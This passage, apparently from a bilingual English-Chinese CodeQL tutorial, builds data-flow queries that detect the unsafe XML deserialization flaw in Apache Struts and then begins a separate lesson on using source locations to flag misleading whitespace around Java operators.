   • Copy the where clause of the previous query

     复制上一个查询的 “where “子

   Solution

   1 2 3 4 5 6 7 8 9 10 11 12

   import java predicate isXMLDeserialized(Expr arg) { exists(MethodAccess fromXML | fromXML.getMethod().getName() = "fromXML" and arg = fromXML.getArgument(0) ) } from Expr ar where isXMLDeserialized(arg) select arg

   

   

   

</details>

Section 2: Find the implementations of the toObject method from ContentTypeHandler

Like predicates, classes in CodeQL can be used to encapsulate reusable portions of logic. Classes represent single sets of values, and they can also include operations (known as member predicates) specific to that set of values. You have already seen numerous instances of CodeQL classes (MethodAccess, Method etc.) and associated member predicates (MethodAccess.getMethod(), Method.getName(), etc.).

像谓词一样，CodeQL中的类可以用来封装逻辑的可重用部分。类代表单一的值集，它们也可以包含特定于该值集的操作（称为_成员谓词_）。你已经看到了许多CodeQL类的实例（MethodAccess、Method等）和相关的成员谓词（MethodAccess.getMethod()、Method.getName()等）。

1. Create a CodeQL class called ContentTypeHandler to find the interface org.apache.struts2.rest.handler.ContentTypeHandler. You can use this template:

   创建一个名为ContentTypeHandler的CodeQL类，找到接口org.apache.struts2.rest.handler.ContentTypeHandler。可以使用这个模板。

   1 2 3 4 5

   class ContentTypeHandler extends RefType { ContentTypeHandler() { // TODO Fill me in } }

   Hint

   • Use RefType.hasQualifiedName(string packageName, string className) to identify classes with the given package name and class name. For example:

     使用RefType.hasQualifiedName(string packageName, string className)来识别具有给定包名和类名的类:

   1 2 3

   from RefType r where r.hasQualifiedName("java.lang", "String") select r

   • Within the characteristic predicate you can use the magic variable this to refer to the RefType

     在特性谓词中，你可以使用神奇的变量this来引用RefType。

   Solution

   1 2 3 4 5 6 7 8

   import java /** The interface `org.apache.struts2.rest.handler.ContentTypeHandler`. */ class ContentTypeHandler extends RefType { ContentTypeHandler() { this.hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") } }

2. Create a CodeQL class called ContentTypeHandlerToObject for identfying Methods called toObject on classes whose direct super-types include ContentTypeHandler.

   创建一个名为 “ContentTypeHandlerToObject “的CodeQL类，用于识别直接超类型包括 “ContentTypeHandler “的类上调用 “toObject “的 “Method”。

   Hint

   • Use Method.getName() to identify the name of the method.

     使用Method.getName()来识别方法的名称。

   • To identify whether the method is declared on a class whose direct super-type includes ContentTypeHandler, you will need to:

     要识别该方法是否在直接超级类型包括ContentTypeHandler的类上声明，你需要:

     • Identify the declaring type of the method using Method.getDeclaringType().

       使用Method.getDeclaringType()识别方法的声明类型。

     • Identify the super-types of that type using RefType.getASuperType()

       使用RefType.getASuperType()识别该类型的超级类型。

     • Use instanceof to assert that one of the super-types is a ContentTypeHandler

       使用 “instanceof “断言其中一个超级类型是 “ContentTypeHandler”。

   Solution

   1 2 3 4 5 6 7

   /** A `toObject` method on a subtype of `org.apache.struts2.rest.handler.ContentTypeHandler`. */ class ContentTypeHandlerToObject extends Method { ContentTypeHandlerToObject() { this.getDeclaringType().getASupertype() instanceof ContentTypeHandler and this.hasName("toObject") } }

3. toObject methods should consider the first parameter as untrusted user input. Write a query to find the first (i.e. index 0) parameter for toObject methods.

   toObject方法应将第一个参数视为不受信任的用户输入。写一个查询来查找toObject方法的第一个（即索引0）参数。

   Hint

   • Use Method.getParameter(int index) to get the i-th index parameter.

     使用Method.getParameter(int index)来获取第i个索引参数。

   • Create a query with a single CodeQL variable of type ContentTypeHandlerToObject.

     用类型为ContentTypeHandlerToObject的单个CodeQL变量创建一个查询。

   Solution

   1 2	from ContentTypeHandlerToObject toObjectMethod select toObjectMethod.getParameter(0)

   

   

   

</details>

Section 3: Unsafe XML deserialization

We have now identified (a) places in the program which receive untrusted data and (b) places in the program which potentially perform unsafe XML deserialization. We now want to tie these two together to ask: does the untrusted data ever flow to the potentially unsafe XML deserialization call?

我们现在已经确定了(a)程序中接收不受信任数据的地方和(b)程序中可能执行不安全的XML反序列化的地方。我们现在想把这两个地方联系起来问：未受信任的数据是否曾经_流向潜在的不安全的XML反序列化调用？

In program analysis we call this a data flow problem. Data flow helps us answer questions like: does this expression ever hold a value that originates from a particular other place in the program?

在程序分析中，我们称之为_数据流_问题。数据流帮助我们回答这样的问题：这个表达式是否曾经持有一个源自程序中其他特定地方的值？

We can visualize the data flow problem as one of finding paths through a directed graph, where the nodes of the graph are elements in program, and the edges represent the flow of data between those elements. If a path exists, then the data flows between those two nodes.

我们可以把数据流问题想象成一个通过有向图寻找路径的问题，图中的节点是程序中的元素，而边则代表这些元素之间的数据流。如果存在一条路径，那么数据就在这两个节点之间流动。

Consider this example Java method:

考虑这个Java方法的例子:

1
2
3
4
5
6
7
8
9
10

int func(int tainted) {
   int x = tainted;
   if (someCondition) {
     int y = x;
     callFoo(y);
   } else {
     return x;
   }
   return -1;
}

The data flow graph for this method will look something like this:

这个方法的数据流图会是这样的:

This graph represents the flow of data from the tainted parameter. The nodes of graph represent program elements that have a value, such as function parameters and expressions. The edges of this graph represent flow through these nodes.

这个图表示污点参数的数据流。图的节点代表有值的程序元素，如函数参数和表达式。该图的边代表流经这些节点的流量。

CodeQL for Java provides data flow analysis as part of the standard library. You can import it using semmle.code.java.dataflow.DataFlow. The library models nodes using the DataFlow::Node CodeQL class. These nodes are separate and distinct from the AST (Abstract Syntax Tree, which represents the basic structure of the program) nodes, to allow for flexibility in how data flow is modeled.

CodeQL for Java提供的数据流分析是标准库的一部分。你可以使用semmle.code.java.dataflow.DataFlow导入它。该库使用DataFlow::NodeCodeQL类对节点进行建模。这些节点与AST（Abstract Syntax Tree，表示程序的基本结构）节点是分开的，有别于AST节点，以便灵活地对数据流进行建模。

There are a small number of data flow node types – expression nodes and parameter nodes are most common.

有少量的数据流节点类型–表达式节点和参数节点是最常见的。

In this section we will create a data flow query by populating this template:

在本节中，我们将通过填充这个模板来创建一个数据流查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

/**
 * @name Unsafe XML deserialization
 * @kind problem
 * @id java/unsafe-deserialization
 */
import java
import semmle.code.java.dataflow.DataFlow

// TODO add previous class and predicate definitions here

class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration {
  StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" }
  override predicate isSource(DataFlow::Node source) {
    exists(/** TODO fill me in **/ |
      source.asParameter() = /** TODO fill me in **/
    )
  }
  override predicate isSink(DataFlow::Node sink) {
    exists(/** TODO fill me in **/ |
      /** TODO fill me in **/
      sink.asExpr() = /** TODO fill me in **/
    )
  }
}

from StrutsUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select sink, "Unsafe XML deserialization"

1. Complete the isSource predicate using the query you wrote for Section 2.

   使用你为第2节写的查询完成 “isSource “谓词。

   Hint

   • You can translate from a query clause to a predicate by:

     你可以通过以下方式从查询子句翻译成谓词:

     • Converting the variable declarations in the from part to the variable declarations of an exists

       将 “from “部分的变量声明转换为 “exists “部分的变量声明。

     • Placing the where clause conditions (if any) in the body of the exists

       将 “where “子句条件(如果有的话)放在existence的正文中。

     • Adding a condition which equates the select to one of the parameters of the predicate.

       添加一个条件，将select等同于谓词的一个参数。

   • Remember to include the ContentTypeHandlerToObject class you defined earlier.

     记住要包含你之前定义的ContentTypeHandlerToObject类。

   Solution

   1 2 3 4 5

   override predicate isSource(Node source) { exists(ContentTypeHandlerToObject toObjectMethod | source.asParameter() = toObjectMethod.getParameter(0) ) }

2. Complete the isSink predicate by using the final query you wrote for Section 1. Remember to use the isXMLDeserialized predicate!

   使用你为Section1写的最后一个查询来完成isSink谓词。记得使用isXMLDeserialized谓词!

   Hint

   • Complete the same process as above.

   完成与上述相同的过程。

   Solution

   1 2 3 4 5 6

   override predicate isSink(Node sink) { exists(Expr arg | isXMLDeserialized(arg) and sink.asExpr() = arg ) }

You can now run the completed query. You should find exactly one result, which is the CVE reported by our security researchers in 2017!

您现在可以运行完成的查询。你应该会发现正好有一个结果，这就是我们的安全研究人员在2017年报告的CVE!

For this result, it is easy to verify that it is correct, because both the source and sink are in the same method. However, for many data flow problems this is not the case.

对于这个结果，很容易验证它是正确的，因为源和汇都在同一个方法中。然而，对于很多数据流问题来说，情况并非如此。

We can update the query so that it not only reports the sink, but it also reports the source and the path to that source. We can do this by making these changes:

我们可以更新查询，使其不仅报告汇，而且还报告源和通往该源的路径。我们可以通过做这些改变来实现。

The answer to this is to convert the query to a path problem query. There are five parts we will need to change:

答案是将查询转换为_路径问题查询。我们需要改变的有五个部分:

• Convert the @kind from problem to path-problem. This tells the CodeQL toolchain to interpret the results of this query as path results.

  将”@kind “从 “problem “转换为 “path -problem”。这告诉CodeQL工具链将这个查询的结果解释为路径结果。

• Add a new import DataFlow::PathGraph, which will report the path data alongside the query results.

  增加一个新的导入DataFlow::PathGraph，它将在查询结果的同时报告路径数据。

• Change source and sink variables from DataFlow::Node to DataFlow::PathNode, to ensure that the nodes retain path information.

  将source和sink变量由DataFlow::Node改为DataFlow::PathNode，以保证节点保留路径信息。

• Use hasFlowPath instead of hasFlow.

  使用hasFlowPath代替hasFlow。

• Change the select to report the source and sink as the second and third columns. The toolchain combines this data with the path information from PathGraph to build the paths.

  改变选择，将source和sink报成第二列和第三列。工具链将这些数据与PathGraph中的路径信息结合起来，建立路径。

3. Convert your previous query to a path-problem query.

   将之前的查询转换为路径问题查询。

   Solution

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49

   /** * @name Unsafe XML deserialization * @kind path-problem * @id java/unsafe-deserialization */ import java import semmle.code.java.dataflow.DataFlow import DataFlow::PathGraph predicate isXMLDeserialized(Expr arg) { exists(MethodAccess fromXML | fromXML.getMethod().getName() = "fromXML" and arg = fromXML.getArgument(0) ) } /** The interface `org.apache.struts2.rest.handler.ContentTypeHandler`. */ class ContentTypeHandler extends RefType { ContentTypeHandler() { this.hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") } } /** A `toObject` method on a subtype of `org.apache.struts2.rest.handler.ContentTypeHandler`. */ class ContentTypeHandlerToObject extends Method { ContentTypeHandlerToObject() { this.getDeclaringType().getASupertype() instanceof ContentTypeHandler and this.hasName("toObject") } } class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration { StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" } override predicate isSource(DataFlow::Node source) { exists(ContentTypeHandlerToObject toObjectMethod | source.asParameter() = toObjectMethod.getParameter(0) ) } override predicate isSink(DataFlow::Node sink) { exists(Expr arg | isXMLDeserialized(arg) and sink.asExpr() = arg ) } } from StrutsUnsafeDeserializationConfig config, DataFlow::PathNode source, DataFlow::PathNode sink where config.hasFlowPath(source, sink) select sink, source, sink, "Unsafe XML deserialization"

   

   

   

</details>

For more information on how the vulnerability was identified, you can read the blog disclosing the original problem.

关于如何发现该漏洞的更多信息，你可以阅读披露原始问题的博客。

Although we have created a query from scratch to find this problem, it can also be found with one of our default security queries, UnsafeDeserialization.ql. You can see this on a vulnerable copy of Apache Struts that has been analyzed on LGTM.com, our free open source analysis platform.

虽然我们从头开始创建了一个查询来发现这个问题，但也可以通过我们的一个默认安全查询，UnsafeDeserialization.ql来发现。你可以在Apache Struts的脆弱副本上看到这个问题，这个漏洞已经被在LGTM.com上分析过了，LGTM.com是我们免费的开源分析平台。

What’s next?

• Read the tutorial on analyzing data flow in Java.

  阅读用Java分析数据流教程。

• Go through more CodeQL training materials for Java.

  浏览更多CodeQL Java培训资料。

• Try out the latest CodeQL Java Capture-the-Flag challenge on the GitHub Security Lab website for a chance to win a prize! Or try one of the older Capture-the-Flag challenges to improve your CodeQL skills.

  在GitHub安全实验室网站上尝试最新的CodeQL Java Capture-the-Flag挑战，有机会获得奖品! 或者试试以前的Capture-the-Flag挑战，以提高您的CodeQL技能。

• Try out a CodeQL course on GitHub Learning Lab.

  在GitHub学习实验室上尝试一下CodeQL课程。

• Read about more vulnerabilities found using CodeQL on the GitHub Security Lab research blog.

  在GitHub安全实验室研究博客上阅读更多使用CodeQL发现的漏洞。

• Explore the open-source CodeQL queries and libraries, and learn how to contribute a new query.

  探索开源CodeQL查询和库，以及学习如何贡献一个新的查询。

You can use the location of entities within Java code to look for potential errors. Locations allow you to deduce the presence, or absence, of white space which, in some cases, may indicate a problem.

您可以使用Java代码中实体的位置来查找潜在的错误。通过位置，您可以推断出是否存在空白，在某些情况下，这些空白可能表明有问题。

About source locations

Java offers a rich set of operators with complex precedence rules, which are sometimes confusing to developers. For instance, the class ByteBufferCache in the OpenJDK Java compiler (which is a member class of com.sun.tools.javac.util.BaseFileManager) contains this code for allocating a buffer:

Java提供了一套丰富的运算符，具有复杂的优先规则，有时会让开发人员感到困惑。例如，OpenJDK Java编译器中的类ByteBufferCache（它是com.sun.tools.javac.util.BaseFileManager的一个成员类）包含了这样一段分配缓冲区的代码:

1

ByteBuffer.allocate(capacity + capacity>>1)

Presumably, the author meant to allocate a buffer that is 1.5 times the size indicated by the variable capacity. In fact, however, operator + binds tighter than operator >>, so the expression capacity + capacity>>1 is parsed as (capacity + capacity)>>1, which equals capacity (unless there is an arithmetic overflow).

据推测，作者的意思是要分配一个缓冲区，这个缓冲区的大小是变量capacity所表示的1.5倍。但事实上，运算符+比运算符>>结合得更紧密，所以表达式capacity+capacity>>1被解析为(capacity+capacity)>>1，等于capacity(除非有算术溢出)。

Note that the source layout gives a fairly clear indication of the intended meaning: there is more white space around + than around >>, suggesting that the latter is meant to bind more tightly.

请注意，源码布局给出了相当明确的预期含义：+周围的空白空间比>>周围的空白空间更多，表明后者的目的是为了更紧密地绑定。

We’re going to develop a query that finds this kind of suspicious nesting, where the operator of the inner expression has more white space around it than the operator of the outer expression. This pattern may not necessarily indicate a bug, but at the very least it makes the code hard to read and prone to misinterpretation.

我们要开发一个查询来发现这种可疑的嵌套，即内部表达式的操作符比外部表达式的操作符周围有更多的白色空间。这种模式可能不一定表明是个bug，但至少会使代码难以阅读，容易被误解。

White space is not directly represented in the CodeQL database, but we can deduce its presence from the location information associated with program elements and AST nodes. So, before we write our query, we need an understanding of source location management in the standard library for Java.

白色空间在CodeQL数据库中并没有直接表示，但我们可以从与程序元素和AST节点相关联的位置信息推断出它的存在。所以，在编写查询之前，我们需要了解Java标准库中的源位置管理。

Location API

For every entity that has a representation in Java source code (including, in particular, program elements and AST nodes), the standard CodeQL library provides these predicates for accessing source location information:

对于每一个在Java源代码中具有表示的实体（特别是包括程序元素和AST节点），标准的CodeQL库提供了这些谓词用于访问源位置信息:

• getLocation returns a Location object describing the start and end position of the entity.

  getLocation返回一个Location对象，描述实体的开始和结束位置。

• getFile returns a File object representing the file containing the entity.

  getFile返回一个File对象，表示包含实体的文件。

• getTotalNumberOfLines returns the number of lines the source code of the entity spans.

  getTotalNumberOfLines 返回实体的源代码所跨越的行数。

• getNumberOfCommentLines returns the number of comment lines.

  getNumberOfCommentLines 返回注释行数。

• getNumberOfLinesOfCode returns the number of non-comment lines.

  getNumberOfLinesOfCode 返回非注释行的数量。

For example, let’s assume this Java class is defined in the compilation unit SayHello.java:

例如，我们假设这个Java类定义在编译单元SayHello.java中:

1
2
3
4
5
6
7
8
9
10

package pkg;

class SayHello {
    public static void main(String[] args) {
        System.out.println(
            // Display personalized message
            "Hello, " + args[0];
        );
    }
}

Invoking getFile on the expression statement in the body of main returns a File object representing the file SayHello.java. The statement spans four lines in total (getTotalNumberOfLines), of which one is a comment line (getNumberOfCommentLines), while three lines contain code (getNumberOfLinesOfCode).

在main主体的表达式语句上调用getFile，返回一个File对象，代表文件SayHello.java。该语句共跨四行（getTotalNumberOfLines），其中一行是注释行（getNumberOfCommentLines），而三行包含代码（getNumberOfLinesOfCode）。

Class Location defines member predicates getStartLine, getEndLine, getStartColumn and getEndColumn to retrieve the line and column number an entity starts and ends at, respectively. Both lines and columns are counted starting from 1 (not 0), and the end position is inclusive, that is, it is the position of the last character belonging to the source code of the entity.

类位置定义了成员谓词getStartLine、getEndLine、getStartColumn和getEndColumn，分别用于检索实体开始和结束的行号和列号。行和列都从1开始计算（不是0），结束位置是包含的，也就是属于实体源代码的最后一个字符的位置。

In our example, the expression statement starts at line 5, column 3 (the first two characters on the line are tabs, which each count as one character), and it ends at line 8, column 4.

在我们的例子中，表达式语句从第5行第3列开始（该行的前两个字符是tab，每个字符都算作一个字符），它的结束位置是第8行第4列。

Class File defines these member predicates:

类文件定义了这些成员谓词:

• getAbsolutePath returns the fully qualified name of the file.

  getAbsolutePath 返回文件的完全限定名称。

• getRelativePath returns the path of the file relative to the base directory of the source code.

  getRelativePath返回文件相对于源代码基本目录的路径。

• getExtension returns the extension of the file.

  getExtension 返回文件的扩展名

• getStem returns the base name of the file, without its extension.

  getStem 返回文件的基本名称，不含扩展名。

In our example, assume file A.java is located in directory /home/testuser/code/pkg, where /home/testuser/code is the base directory of the program being analyzed. Then, a File object for A.java returns:

在我们的例子中，假设文件A.java位于目录/home/testuser/code/pkg中，其中/home/testuser/code是被分析程序的基础目录。然后，返回A.java的File对象:

• getAbsolutePath is /home/testuser/code/pkg/A.java.
• getRelativePath is pkg/A.java.
• getExtension is java.
• getStem is A.

Determining white space around an operator

Let’s start by considering how to write a predicate that computes the total amount of white space surrounding the operator of a given binary expression. If rcol is the start column of the expression’s right operand and lcol is the end column of its left operand, then rcol - (lcol+1) gives us the total number of characters in between the two operands (note that we have to use lcol+1 instead of lcol because end positions are inclusive).

让我们先考虑如何编写一个谓词，计算一个给定二进制表达式的操作符周围的空白空间总数。如果rcol是表达式右边操作数的起始列，lcol是左边操作数的结束列，那么rcol - (lcol+1)给出了两个操作数之间的总字符数（注意，我们必须使用lcol+1而不是lcol，因为结束位置是包含的）。

This number includes the length of the operator itself, which we need to subtract out. For this, we can use predicate getOp, which returns the operator string, surrounded by one white space on either side. Overall, the expression for computing the amount of white space around the operator of a binary expression expr is:

这个数字包括运算符本身的长度，我们需要将其减去。为此，我们可以使用谓词getOp，它返回操作符字符串，两边各用一个空格包围。总的来说，计算二进制表达式expr的运算符周围的白格量的表达式是:

1

rcol - (lcol+1) - (expr.getOp().length()-2)

Clearly, however, this only works if the entire expression is on a single line, which we can check using predicate getTotalNumberOfLines introduced above. We are now in a position to define our predicate for computing white space around operators:

然而，很明显，只有当整个表达式都在一行上时，这才是有效的，我们可以使用上面介绍的谓词getTotalNumberOfLines来检查。现在我们可以定义用于计算运算符周围空白空间的谓词了。

1
2
3
4
5
6
7
8

int operatorWS(BinaryExpr expr) {
    exists(int lcol, int rcol |
        expr.getNumberOfLinesOfCode() = 1 and
        lcol = expr.getLeftOperand().getLocation().getEndColumn() and
        rcol = expr.getRightOperand().getLocation().getStartColumn() and
        result = rcol - (lcol+1) - (expr.getOp().length()-2)
    )
}

Notice that we use an exists to introduce our temporary variables lcol and rcol. You could write the predicate without them by just inlining lcol and rcol into their use, at some cost in readability.

请注意，我们使用了一个 exists 来引入我们的临时变量 lcol 和 rcol。你可以在写谓词时不使用它们，只在使用时内联lcol和rcol，但在可读性上会有一些损失。

Find suspicious nesting

Here’s a first version of our query:

这是我们查询的第一个版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

import java

// Compute whitespace around operators
int operatorWS(BinaryExpr expr) {
    exists(int lcol, int rcol |
        expr.getNumberOfLinesOfCode() = 1 and
        lcol = expr.getLeftOperand().getLocation().getEndColumn() and
        rcol = expr.getRightOperand().getLocation().getStartColumn() and
        result = rcol - (lcol+1) - (expr.getOp().length()-2)
    )
}

from BinaryExpr outer, BinaryExpr inner,
    int wsouter, int wsinner
where inner = outer.getAChildExpr() and
    wsinner = operatorWS(inner) and wsouter = operatorWS(outer) and
    wsinner > wsouter
select outer, "Whitespace around nested operators contradicts precedence."

➤ See this in the query console on LGTM.com. This query is likely to find results on most projects.

➤ 在LGTM.com的查询控制台中可以看到。这个查询很可能在大多数项目上找到结果。

The first conjunct of the where clause restricts inner to be an operand of outer, the second conjunct binds wsinner and wsouter, while the last conjunct selects the suspicious cases.

where子句的第一个共轭限制了inner是 outer的操作数，第二个共轭绑定了wsinner和wsouter，而最后一个共轭选择了可疑的情况。